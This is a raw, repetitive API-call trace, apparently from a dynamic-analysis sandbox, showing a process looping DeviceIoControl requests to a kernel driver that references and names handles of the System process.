[0134.954] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.954] ObReferenceObjectByHandle (in: Handle=0xffffffff80000064, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fc0050, HandleInformation=0x0) returned 0x0 [0134.954] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.954] PsReleaseProcessExitSynchronization () returned 0x2 [0134.954] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.954] ObfDereferenceObject (Object=0xfffffa8002fc0050) returned 0x1 [0134.954] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.954] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.954] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.954] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.954] PsAcquireProcessExitSynchronization () returned 0x0 [0134.954] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.954] ObReferenceObjectByHandle (in: Handle=0xffffffff80000068, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8004599f20, HandleInformation=0x0) returned 0x0 [0134.954] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.954] PsReleaseProcessExitSynchronization () returned 0x2 [0134.954] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.954] ObfDereferenceObject (Object=0xfffffa8004599f20) returned 0x1 [0134.954] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.954] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.955] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.955] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.955] PsAcquireProcessExitSynchronization () returned 0x0 [0134.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.955] ObReferenceObjectByHandle (in: Handle=0xffffffff8000006c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8005049050, HandleInformation=0x0) returned 0x0 [0134.955] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.955] PsReleaseProcessExitSynchronization () returned 0x2 [0134.955] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.955] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.955] ObfDereferenceObject (Object=0xfffffa8005049050) returned 0x1 [0134.955] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.955] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.955] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.955] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.955] PsAcquireProcessExitSynchronization () returned 0x0 [0134.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.955] ObReferenceObjectByHandle (in: Handle=0xffffffff80000070, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8005bfa050, HandleInformation=0x0) returned 0x0 [0134.955] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.955] PsReleaseProcessExitSynchronization () returned 0x2 [0134.955] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.955] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.955] ObfDereferenceObject (Object=0xfffffa8005bfa050) returned 0x1 [0134.955] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.955] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.955] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.955] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.955] PsAcquireProcessExitSynchronization () returned 0x0 [0134.955] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.955] ObReferenceObjectByHandle (in: Handle=0xffffffff80000074, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80053d87a0, HandleInformation=0x0) returned 0x0 [0134.955] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.956] PsReleaseProcessExitSynchronization () returned 0x2 [0134.956] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.956] ObfDereferenceObject (Object=0xfffffa80053d87a0) returned 0x1 [0134.956] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.956] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.956] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.956] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.956] PsAcquireProcessExitSynchronization () returned 0x0 [0134.956] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.956] ObReferenceObjectByHandle (in: Handle=0xffffffff80000078, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8005ffb1f0, HandleInformation=0x0) returned 0x0 [0134.956] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.956] PsReleaseProcessExitSynchronization () returned 0x2 [0134.956] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.956] ObfDereferenceObject (Object=0xfffffa8005ffb1f0) returned 0x1 [0134.956] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.956] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.956] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.956] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.956] PsAcquireProcessExitSynchronization () returned 0x0 [0134.956] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.956] ObReferenceObjectByHandle (in: Handle=0xffffffff8000007c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80067fbf20, HandleInformation=0x0) returned 0x0 [0134.956] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.956] PsReleaseProcessExitSynchronization () returned 0x2 [0134.956] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.957] ObfDereferenceObject (Object=0xfffffa80067fbf20) returned 0x1 [0134.957] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.957] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.957] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.957] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.957] PsAcquireProcessExitSynchronization () returned 0x0 [0134.957] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.957] ObReferenceObjectByHandle (in: Handle=0xffffffff80000080, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8005ffe470, HandleInformation=0x0) returned 0x0 [0134.957] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.957] PsReleaseProcessExitSynchronization () returned 0x2 [0134.957] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.957] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0134.957] ObfDereferenceObject (Object=0xfffffa8005ffe470) returned 0x1 [0134.957] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.957] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.957] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0134.957] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.957] PsAcquireProcessExitSynchronization () returned 0x0 [0134.957] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.957] ObReferenceObjectByHandle (in: Handle=0xffffffff80000084, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010ff9f20, HandleInformation=0x0) returned 0x0 [0134.957] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.957] PsReleaseProcessExitSynchronization () returned 0x2 [0134.957] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.957] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0134.957] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0134.957] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.957] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.957] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.957] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.957] PsAcquireProcessExitSynchronization () returned 0x0 [0134.958] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.958] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0134.958] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.958] PsReleaseProcessExitSynchronization () returned 0x2 [0134.958] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.958] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0134.958] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0134.958] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.958] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.958] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0134.958] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.958] PsAcquireProcessExitSynchronization () returned 0x0 [0134.958] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.958] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0134.958] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.958] PsReleaseProcessExitSynchronization () returned 0x2 [0134.958] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.958] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.958] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0134.958] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.958] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.958] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.958] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.958] PsAcquireProcessExitSynchronization () returned 0x0 [0134.958] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.958] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0134.958] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.958] PsReleaseProcessExitSynchronization () returned 0x2 [0134.958] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.958] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.959] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0134.959] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.959] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.959] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.959] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.959] PsAcquireProcessExitSynchronization () returned 0x0 [0134.959] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.959] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0134.959] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.959] PsReleaseProcessExitSynchronization () returned 0x2 [0134.959] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.959] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.959] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0134.959] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.959] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.959] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.959] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.959] PsAcquireProcessExitSynchronization () returned 0x0 [0134.959] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.959] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0134.959] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.959] PsReleaseProcessExitSynchronization () returned 0x2 [0134.959] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.960] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.960] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0134.960] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.960] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.960] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0134.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.960] PsAcquireProcessExitSynchronization () returned 0x0 [0134.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.960] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0134.960] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.960] PsReleaseProcessExitSynchronization () returned 0x2 [0134.960] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.960] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.960] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0134.960] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.960] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.960] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.960] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0134.960] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.960] PsAcquireProcessExitSynchronization () returned 0x0 [0134.960] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.960] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0134.960] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.960] PsReleaseProcessExitSynchronization () returned 0x2 [0134.960] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.960] 